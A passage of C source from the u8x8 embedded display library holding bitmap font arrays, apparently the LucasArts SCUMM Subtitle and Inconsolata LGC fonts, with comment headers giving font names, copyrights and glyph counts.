"\0\0\0\0\0\340\370\34\6\2\2\2\6\34\370\340\0\0\0\0\0\0\3\7\14\10\10\10\14\7\3\0" "\0\0\0\0\0\2\376\376BBBf<\30\0\0\0\0\0\0\0\10\17\17\10\0\0\0\0\0\0\0" "\0\0\0\0\0\340\370\34\6\2\2\2\6\34\370\340\0\0\0\0\0\0\3\7\14\10\34\70,'\3\0" "\0\0\0\0\0\2\376\376BBB\346\274\30\0\0\0\0\0\0\0\10\17\17\10\0\0\10\17\17\10\0" "\0\0\0\0\0\30<&fB\302\202\204\16\0\0\0\0\0\0\0\16\4\10\10\10\14\14\7\3\0\0" "\0\0\0\0\0\16\6\2\376\376\2\6\16\0\0\0\0\0\0\0\0\0\0\10\17\17\10\0\0\0\0\0" "\0\0\0\0\0\2\376\376\2\0\0\2\376\2\0\0\0\0\0\0\0\0\7\17\14\10\10\14\7\0\0\0" "\0\0\0\0\0\2>\376\302\0\0\302>\2\0\0\0\0\0\0\0\0\0\1\17\16\16\1\0\0\0\0" "\0\0\0\0\0\2>\376\302\0\302\376\376\302\0\0\302>\2\0\0\0\0\1\17\16\17\1\1\17\16\16" "\1\0\0\0\0\2\6\16\32\260\340\340\260\32\16\6\2\0\0\0\0\10\14\16\13\1\0\0\1\13\16\14" "\10\0\0\0\0\2\16>r\300\300r>\16\2\0\0\0\0\0\0\0\0\0\10\17\17\10\0\0\0\0" "\0\0\0\0\0\16\6\202\302\342r:\36\16\0\0\0\0\0\0\0\16\17\13\11\10\10\10\14\16\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\14\14\14\14\14\14\14\14\14\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0@` \340\300\0\0\0\0\0\0\0\0\6\17\11\11\11\15\7\17\10\0\0" "\0\0\0\0\0\2\376\376` `\300\200\0\0\0\0\0\0\0\0\17\17\4\10\10\14\7\3\0\0" "\0\0\0\0\0\200\300` `@\0\0\0\0\0\0\0\0\3\7\14\10\10\10\14\4\0\0\0" "\0\0\0\0\0\200\300` b\376\376\0\0\0\0\0\0\0\0\3\7\14\10\10\4\17\17\10\0\0" "\0\0\0\0\0\200\300` \340\300\0\0\0\0\0\0\0\0\3\7\15\11\11\11\15\4\0\0\0" "\0\0\0\0\0 \374\376\42\42\16\14\0\0\0\0\0\0\0\0\0\10\17\17\10\0\0\0\0\0\0\0" "\0\0\0\0\0\200\300` p\320\220\0\0\0\0\0\0\0\61;fDDDj\71\61\0\0" "\0\0\0\0\0\2\376\376@ `\300\200\0\0\0\0\0\0\0\10\17\17\10\0\0\10\17\17\10\0" "\0\0\0\0\0\0\354\354\0\0\0\0\0\0\0\0\0\0\0\0\0\10\17\17\10\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\354\354\0\0\0\0\0\0\0\0\0 `@@`\177\77\0\0\0\0" "\0\0\0\0\0\2\376\376\2\0\240` \0\0\0\0\0\0\0\10\17\17\12\1\1\13\16\14\10\0" "\0\0\0\0\0\2\376\376\0\0\0\0\0\0\0\0\0\0\0\0\0\10\17\17\10\0\0\0\0\0\0\0" "\0\0\0\0\0 \340\340@ \340\300` \340\300\0\0\0\0\0\10\17\17\10\0\17\17\10\0\17\17" "\10\0\0\0\0 \340\340@ \340\300\0\0\0\0\0\0\0\0\10\17\17\10\0\0\17\17\10\0\0" "\0\0\0\0\0\200\300` `\300\200\0\0\0\0\0\0\0\3\7\14\10\10\10\14\7\3\0\0" "\0\0\0\0\0 \340\340@ `\300\200\0\0\0\0\0\0\0\200\377\377\204\10\10\14\7\3\0\0" "\0\0\0\0\0\200\300` @\340\340\0\0\0\0\0\0\0\0\3\7\14\10\10\204\377\377\200\0\0" "\0\0\0\0\0 \340\340\300` \340\300\0\0\0\0\0\0\0\10\17\17\10\0\0\0\0\0\0\0" "\0\0\0\0\0\300\340\240 @\340\0\0\0\0\0\0\0\0\0\16\5\11\11\13\17\6\0\0\0\0" "\0\0\0\0\0 \370\374 \0\0\0\0\0\0\0\0\0\0\0\0\7\17\10\10\4\0\0\0\0\0" "\0\0\0\0\0 \340\340 \0\0 \340\340\0\0\0\0\0\0\0\0\7\17\14\10\10\4\17\17\10\0" "\0\0\0\0\0 `\340\240\0\0\240\340` \0\0\0\0\0\0\0\0\1\7\16\16\7\1\0\0\0" "\0\0\0\0\0 `\340\240\0\0\240\340\340\240\0\0\0\240`\0\0\0\1\7\16\16\7\1\1\7\16" "\10\6\1\0\0 `\340\200\0\200\340` \0\0\0\0\0\10\10\14\16\3\1\3\16\14\10\10" "\0\0\0\0\0 `\340\240\0\0\0 \340 \0\0\0\0\0 `@Ac>\34\7\1\0\0" "\0\0\0\0\0\340` \240\340` \0\0\0\0\0\0\0\0\10\14\16\13\11\10\14\16\0\0\0" "\0\0\0"; /* Fontname: -FreeType-LucasArts SCUMM Subtitle Roman-Medium-R-Normal--16-160-72-72-P-88-ISO10646-1 Copyright: Copyright Goatmeal 2013 Glyphs: 16/95 BBX Build Mode: 3 */ const uint8_t u8x8_font_lucasarts_scumm_subtitle_r_2x2_n[868] U8X8_FONT_SECTION("u8x8_font_lucasarts_scumm_subtitle_r_2x2_n") = " :\2\2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\330x\70\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\1\1\1\1\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\30\30\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\200\300\340p\70\34\0\0\0\0\0\0\0\34\16\7\3\1\0\0\0\0\0\0" "\0\0\0\0\0\300\360\70\14\4\4\4\14\70\360\300\0\0\0\0\0\1\7\16\30\20\20\20\30\16\7\1" "\0\0\0\0\0\20\30\374\374\0\0\0\0\0\0\0\0\0\0\0\0\20\20\37\37\20\20\0\0\0\0\0" "\0\0\0\0\0\20\30\14\4\4\204\314x\60\0\0\0\0\0\0\0\20\30\34\26\23\21\20\20\20\0\0" "\0\0\0\0\0\20\30\14\204\204\204\314x\60\0\0\0\0\0\0\0\4\14\30\20\20\20\31\17\6\0\0" "\0\0\0\0\0\0\200\300`\60\30\374\374\0\0\0\0\0\0\0\0\3\3\2\2\2\2\37\37\2\0\0" "\0\0\0\0\0||DDDD\304\204\4\0\0\0\0\0\0\0\4\14\30\20\20\20\30\17\7\0\0" "\0\0\0\0\0\360\370\314DDD\314\230\20\0\0\0\0\0\0\0\7\17\30\20\20\20\30\17\7\0\0" "\0\0\0\0\0\4\4\4\204\304d\64\34\14\0\0\0\0\0\0\0\0\0\0\37\37\0\0\0\0\0\0" "\0\0\0\0\0\60x\314\204\204\204\314x\60\0\0\0\0\0\0\0\6\17\31\20\20\20\31\17\6\0\0" "\0\0\0\0\0p\370\214\4\4\4\214\370\360\0\0\0\0\0\0\0\4\14\31\21\21\21\31\17\7\0\0" "\0\0\0\0\0``\0\0\0\0\0\0\0\0\0\0\0\0\0\0\14\14\0\0\0\0\0\0\0\0\0" "\0\0\0"; /* Fontname: -FreeType-Inconsolata LGC-Medium-R-Normal--30-300-72-72-P-138-ISO10646-1 Copyright: Original Roman version created by Raph Levien using his own tools and FontForge. Copyright 2006 Raph Levien. Hellenisation of the Roman font, by Dimosthenis Kaponis, using FontForge. Hellenic glyphs Copyright 2010-2012 Dimosthenis Kaponis. Released under the SIL Open Font License, http://scripts.sil.org/OFL. Cyrillic glyphs added by MihailJP, using FontForge. Cyrillic glyphs Copyright 2012 MihailJP. Released under the SIL Open Font License, http://scripts.sil.org/OFL. Some glyphs modified by Greg Omelaenko, using FontForge. Glyphs: 191/658 BBX Build Mode: 3 */ const uint8_t u8x8_font_inr21_2x4_f[14340] U8X8_FONT_SECTION("u8x8_font_inr21_2x4_f") = " \377\2\4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\70\374\374\370\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\0\0" "\0\0\0\0\0\0\0\0\0\0\300\343\343\303\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\0\0\0" "\0\0\0\0\0\0\0\0\374\374\370\0\0\0\374\374\370\0\0\0\0\0\0\0\3\3\3\0\0\0\3\3" "\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\340\360\60\0\0\0\360\360\20\0\0\0\6\6\6\346\377\77\6\6\6\366\377" "\37\6\6\6\0\6\6\306\377\77\6\6\6\346\377\77\6\6\6\0\0\0\0\1\1\0\0\0\0\1\1\0" "\0\0\0\0\0\0\200\300\340p\60\374\374\374\60`\340@\0\0\0\0\7\17\37\70\60\377\377\377`\340" "\300\200\0\0\0\0\60p`\300\300\377\377\377\340p\177\77\6\0\0\0\0\0\0\0\0\3\3\3\0\0" "\0\0\0\0\300\340\360\60\60\360\340\300\0\0\0\300\360p\20\0\3\7\17\14\14\17\207\343\370>\17\3" "\0\0\0\0\0\0\300\360|\36\7\1|\376\377\203\203\377\376|\0\1\1\0\0\0\0\0\0\0\1\1" "\1\1\0\0\0\0\0\300\340\340p\60\60p\340\300\0\0\0\0\0\0\0\203\317\337x\360\360\234\37\17" "\1\0\200\0\0<\177\377\301\200\200\200\201\307\357~\70\374\357\307\0\0\0\0\1\1\1\1\1\0\0\0" "\0\0\1\0\0\0\0\0\0\0\0\374\374\370\0\0\0\0\0\0\0\0\0\0\0\0\0\3\3\3\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\300\340\360\60\70\34\10\0\0\0\0\0\0\360\376\377\7\1\0\0\0" "\0\0\0\0\0\0\0\0\17\177\377\340\200\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\17\36\34\70" "p \0\0\0\0\34\70\60p\340\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\37\376\370\200" "\0\0\0\0\0\0\0\0\0\0\0\200\360\377\77\3\0\0\0\0\0\0p\70\70\34\17\7\3\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\200\200\0\0\0\0\0\0\0\0\30\30\30\60\60\240\377\377\240\60\60" "\30\30\30\0\0\0\10\34\36\7\3\0\0\3\7\36\14\10\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\200\200\200\0\0\0\0\0\0\0``````\377\377\377``" "```\0\0\0\0\0\0\0\0\37\37\37\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\300\340\340\300\200\0\0\0\0\0\0\0\0\0\0\0\60\71\17\7\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0``````````" "```\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\300\340\340\300\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\374\30\0\0\0\0\0\0\0\0\200\340\370>\17\3" "\0\0\0\0\0\0\200\340\370>\17\3\0\0\0\0\0\0\0\0\0\0\3\3\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\300\340\340p\60\60\60`\340\300\0\0\0\0\374\377\377\1\0\200\300`\70\34\7" "\377\377\370\0\0\7\37\177\376\347\303\200\200\300\300\360\177\37\7\0\0\0\0\0\0\0\1\1\1\1\0\0" "\0\0\0\0\0\0\200\300\300``\360\360\360\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\0\0" "\0\0\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\0\0" "\0\0\0\0\0\0\200\300\340`\60\60\60\60p\340\300\200\0\0\0\0\0\0\0\0\0\0\0\200\300\360" "\177\37\6\0\0\0\200\340\360\274\236\207\203\203\201\200\200\200\200\0\0\0\1\1\1\1\1\1\1\1\1\1" "\1\1\1\0\0\0\0``p\60\60\60p\340\340\300\0\0\0\0\0\0\0\0````\360\370\337" "\217\2\0\0\0\0@\340\300\200\200\200\200\300\341\377\177\36\0\0\0\0\0\0\0\1\1\1\1\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\300\340\360\360\0\0\0\0\0\0\200\300p\70\16\7\1\377\377\377" "\0\0\0\0\0\6\7\7\6\6\6\6\6\377\377\377\6\6\6\0\0\0\0\0\0\0\0\0\0\1\1\1" "\0\0\0\0\0\0\0\360\360\360\60\60\60\60\60\60\60\60\0\0\0\0\0\177\177\77\30\30\30\30\70x" "\360\340\200\0\0\0``\340\300\200\200\200\200\300\340\377\177\37\0\0\0\0\0\0\1\1\1\1\1\1\0" "\0\0\0\0\0\0\0\0\300\340`p\60\60\60p``\0\0\0\0\374\377\377q\60\30\30\30\70x" "\360\340\200\0\0\0\17\77\177\340\300\200\200\200\300\340\377\177\37\0\0\0\0\0\0\0\1\1\1\1\1\0" "\0\0\0\0\0\0\60\60\60\60\60\60\60\60\260\360\360\60\0\0\0\0\0\0\0\0\0\200\360\374\77\7" "\1\0\0\0\0\0\0\0\200\360\374\77\7\0\0\0\0\0\0\0\0\0\0\0\1\1\1\0\0\0\0\0" "\0\0\0\0\0\0\200\300\340p\60\60\60p\340\340\300\0\0\0\0\0\7\237\337xp `p\370\237" "\217\3\0\0\0>\177\377\340\300\200\200\200\200\300\341\177\77\10\0\0\0\0\0\0\1\1\1\1\1\1\0" "\0\0\0\0\0\0\0\300\340\340p\60\60\60p\340\300\200\0\0\0\0\37\177\377\340\300\200\200\200\300\300" "\377\377\376\0\0\0\0\300\300\301\201\201\201\301\300\360\177\37\7\0\0\0\0\0\0\1\1\1\1\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\30<<\30\0\0" "\0\0\0\0\0\0\0\0\0\0\300\340\340\300\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\30<<\30\0\0\0" "\0\0\0\0\0\0\0\0\0\300\340\340\300\200\0\0\0\0\0\0\0\0\0\0\0\60\71\17\7\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\0`\360\360\270\230\34\14\16\6\7\3\3" "\1\1\0\0\0\0\0\1\3\3\7\6\16\14\30\70\60p`\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\14\14\14\14\14\14\14\14\14\14\14" "\14\14\14\0\0\6\6\6\6\6\6\6\6\6\6\6\6\6\6\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\300\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\3\3\7\6\16\14\34\230" "\270\360\360`\0`p\70\30\34\14\16\6\7\3\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0 p\70\30\34\14\14\14\34\30\370\360\300\0\0\0\0\0\0\0\0\200\340\360x\34\37" "\17\3\0\0\0\0\0\0\0\0\303\343\343\300\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\0\0\0" "\0\0\0\0\0\0\200\300\340`p\60\60\60p`\340\300\0\0\374\377\377\3\0\360\370\374\16\6\6\6" "\377\377\377\0\3\37\77x\340\301\303\207\207\206\206\303\301\207\7\0\0\0\0\0\0\0\1\1\1\1\1\1" "\0\0\0\0\0\0\0\0\0\0\300\370\340\0\0\0\0\0\0\0\0\0\0\200\360~\17\1\7\77\374\340" "\0\0\0\0\200\360\376\37\7\6\6\6\6\6\7\17\77\374\340\200\1\1\0\0\0\0\0\0\0\0\0\0" "\0\1\1\1\0\360\360\360\60\60\60\60\60\60p\340\340\300\0\0\0\377\377\377``````\360\370" "\237\217\3\0\0\377\377\377\200\200\200\200\200\200\300\301\377\177>\0\0\1\1\1\1\1\1\1\1\1\1\0" "\0\0\0\0\0\0\0\200\300\340`p\60\60\60p`\340\300\200\0\374\377\377\3\0\0\0\0\0\0\0" "\0\0\1\1\0\7\37\77x\340\300\300\200\200\200\300\300\340` \0\0\0\0\0\0\0\1\1\1\1\1" "\0\0\0\0\0\360\360\360\60\60\60\60\60p\340\340\300\0\0\0\0\377\377\377\0\0\0\0\0\0\0\1" "\377\377\374\0\0\377\377\377\200\200\200\200\200\300\340p\77\37\7\0\0\1\1\1\1\1\1\1\1\1\0\0" "\0\0\0\0\0\360\360\360\60\60\60\60\60\60\60\60\60\60\0\0\0\377\377\377````````" "`\0\0\0\0\377\377\377\200\200\200\200\200\200\200\200\200\200\0\0\0\1\1\1\1\1\1\1\1\1\1\1" "\1\1\0\0\0\0\360\360\360\60\60\60\60\60\60\60\60\60\60\0\0\0\377\377\377\60\60\60\60\60\60\60" "\60\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\200\300\340`p\60\60\60p`\340\300\200\0\374\377\377\1\0\0\0\0\0\200\200" "\200\200\201\200\0\7\37\77x\340\300\300\200\200\201\201\301\377\377\177\0\0\0\0\0\0\0\1\1\1\1\1" "\1\0\0\0\0\360\360\360\0\0\0\0\0\0\0\0\360\360\360\0\0\377\377\377````````" "\377\377\377\0\0\377\377\377\0\0\0\0\0\0\0\0\377\377\377\0\0\1\1\1\0\0\0\0\0\0\0\0" "\1\1\1\0\0\0\60\60\60\60\360\360\360\60\60\60\60\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0" "\0\0\0\0\0\0\200\200\200\200\377\377\377\200\200\200\200\0\0\0\0\0\1\1\1\1\1\1\1\1\1\1" "\1\0\0\0\0\0\0\0\0\60\60\60\60\360\360\360\60\60\60\0\0\0\0\0\0\0\0\0\0\377\377\377" "\0\0\0\0\0@\340\300\200\200\200\300\340\377\177\17\0\0\0\0\0\0\0\1\1\1\1\1\0\0\0\0" "\0\0\0\0\0\360\360\360\0\0\0\0\0\200\300\340p\60\20\0\0\377\377\377`p\370\336\217\3\1\0" "\0\0\0\0\0\377\377\377\0\0\0\3\7\17x\340\300\0\0" "\377\377\377\0\0\377\377\377\0\0\0\0\1\7\37|\377\377\377\0\0\1\1\1\0\0\0\0\0\0\0\0" "\0\1\1\0\0\0\300\300\340p\60\60\60\60p\340\300\200\0\0\374\377\377\1\0\0\0\0\0\0\0\0" "\3\377\377\360\7\37\77p\340\300\200\200\200\200\300\340x\77\37\1\0\0\0\0\0\1\1\1\1\1\1\0" "\0\0\0\0\0\360\360\360\60\60\60\60\60\60p\340\340\300\0\0\0\377\377\377\300\300\300\300\300\300\340`" "\177\77\37\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\300\300\340p\60\60\60pp\340\300\200\0\0\374\377\377\1\0\0\0\0\0\0\0\0" "\3\377\377\360\7\77\177\360\300\200\200\200\200\200\200\340\370\177\37\1\0\0\0\0\1\1\7\37\77\71\61\61" "\60\60\60\0\0\360\360\360\60\60\60\60\60\60p\340\340\300\0\0\0\377\377\377\300\300\300\300\300\300\340p" "\177\37\6\0\0\377\377\377\0\0\0\0\3\17\36|\360\300\0\0\0\1\1\1\0\0\0\0\0\0\0\0" "\1\1\1\0\0\0\200\300\340`p\60\60\60\60`\340\300\0\0\0\0\7\37\37\70\60p`\340\300\300" "\200\200\0\0\0@p\340\300\300\200\200\200\200\300\301\343\177\77\14\0\0\0\0\0\1\1\1\1\1\1\0" "\0\0\0\0\60\60\60\60\60\60\360\360\360\60\60\60\60\60\60\0\0\0\0\0\0\0\377\377\377\0\0\0" "\0\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\0\0\0" "\0\0\0\0\0\360\360\360\0\0\0\0\0\0\0\0\360\360\360\0\0\377\377\377\0\0\0\0\0\0\0\0" "\377\377\377\0\0\37\177\377\340\300\200\200\200\200\300\340\377\177\37\0\0\0\0\0\0\1\1\1\1\1\1\0" "\0\0\0\0\20\360\360\300\0\0\0\0\0\0\0\0\200\360\360\20\0\0\7\77\376\360\200\0\0\0\340\374" "\77\7\0\0\0\0\0\0\0\7\77\374\370\177\17\1\0\0\0\0\0\0\0\0\0\0\0\1\1\0\0\0" "\0\0\0\0\360\360\300\0\0\0\0\200\300\0\0\0\0\0\360\360\0\77\377\360\0\300\370\77\37\377\360\200" "\0\376\177\1\0\0\17\377\374\37\1\0\0\0\17\377\377\37\0\0\0\0\0\1\1\0\0\0\0\0\0\0" "\1\0\0\0\0\20p\360\300\0\0\0\0\0\0\300\360p\20\0\0\0\0\1\7\17\276\370\370\376\17\3" "\1\0\0\0\0\0\300\360|\37\7\3\3\7\37|\360\340\200\0\0\1\1\1\0\0\0\0\0\0\0\0" "\0\1\1\0\0\60\360\340\200\0\0\0\0\0\0\0\340\360p\0\0\0\0\3\17>\370\360\300\360|\37" "\7\1\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\0\0" "\0\0\0\0\0\0\60\60\60\60\60\60\60\60\60\260\360\360\60\0\0\0\0\0\0\0\200\340\360|\36\7" "\3\0\0\0\0\200\340\360\374\237\217\203\200\200\200\200\200\200\200\0\0\1\1\1\1\1\1\1\1\1\1\1" "\1\1\1\0\0\0\0\0\374\374\374\14\14\14\14\14\14\14\0\0\0\0\0\0\377\377\377\0\0\0\0\0" "\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\17\17\17\14\14\14\14\14" "\14\14\0\0\0\0\30\374\360\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\17\77\370\340\200\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\3\17>\370\340\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\3\3\0\0\0\0\14\14\14\14\14\14\14\14\374\374\374\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377" "\377\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\14\14\14\14\14\14\14\14\17\17" "\17\0\0\0\0\0\0\0\0\0\300\340\360\300\200\0\0\0\0\0\0\0\0\30\34\17\3\1\0\3\17>" "\30\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\14\14\14\14\14\14\14\14\14\14\14\14" "\14\14\14\0\0\0\0\0\360\340\200\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\17>x\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\14\14\216\206\206\206\206\216\214" "\374\370\340\0\0<\376\377\303\203\201\201\201\301\341q\377\377\377\0\0\0\0\0\1\1\1\1\1\0\0\0" "\1\1\1\0\0\374\374\374\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\10\14\6\6\6\16\16\34" "\374\360\300\0\0\377\377\177\300\300\200\200\200\300\300\340\177\77\17\0\0\1\1\0\0\0\1\1\1\1\1\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\370\34\14\16\6\6\6\6\16" "\34<\10\0\0\17\77\177\360\300\300\200\200\200\200\300\300\340@\0\0\0\0\0\0\0\1\1\1\1\1\1" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\374\374\374\0\0\340\370\374\34\16\6\6\6\6\14\30" "\377\377\377\0\0\17\77\377\340\300\200\200\200\200\300p\377\377\377\0\0\0\0\0\0\1\1\1\1\1\0\0" "\1\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\370\234\216\206\206\206\206\216\214" "\370\360\0\0\0\17\77\177\341\301\301\201\201\201\201\301\301A\0\0\0\0\0\0\0\0\1\1\1\1\1\0" "\0\0\0\0\0\0\0\0\200\360\370\70\34\14\14\14\34\30\70\0\0\14\14\14\377\377\377\14\14\14\14\14" "\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\370\374\34\16\6\6\6\16\34\370" "\374F\6\6\0\0s\177\377\316\314\314\314\316\307\307\303\200\200\0\0\34\77\77qp`````p" "\71\77\37\6\0\0\374\374\374\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\30\14\14\6\6\16\36" "\374\370\300\0\0\0\377\377\377\0\0\0\0\0\0\0\377\377\377\0\0\0\1\1\1\0\0\0\0\0\0\0" "\1\1\1\0\0\0\0\0\0\0\30<<\30\0\0\0\0\0\0\0\0\0\6\6\6\6\376\376\376\0\0" "\0\0\0\0\0\0\0\200\200\200\200\377\377\377\200\200\200\0\0\0\0\0\0\1\1\1\1\1\1\1\1\1" "\1\0\0\0\0\0\0\0\0\0\0\0\0\30<<\30\0\0\0\0\0\0\6\6\6\6\6\6\376\376\376" "\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\60\70p```p\60\77\37\7" "\0\0\0\0\0\0\374\374\374\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\200\300\300\340p\70\34" "\16\6\2\0\0\0\377\377\377\3\1\3\7\17\376\360\200\0\0\0\0\0\300" "\370>\6\0\0\0\0\0\7\37\376\360\340\374\37\7\1\0\0\0\0\0\0\0\0\0\0\1\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\6\376\376\200\0\0\200\370|\360\200\0" "\0\200\376~\0\0\37\377\360\370\77\3\0\7\77\374\300\377\17\0\0\0\0\1\1\1\0\0\0\0\0\1" "\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\2\6\36\16\0\0\0\0\0\3\17~\370\300\370\77\17\1\0\0\0 p```p\70\37\17\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\6\6\6\6\6\206\306\346v>" "\36\6\0\0\0\200\300\360\370\274\216\207\203\201\200\200\200\200\200\0\0\1\1\1\1\1\1\1\1\1\1\1" "\1\1\1\0\0\0\0\0\0\200\340\340p\60\60\60\60\60\0\0\0\0\0\0\200\377\177\37\0\0\0\0" 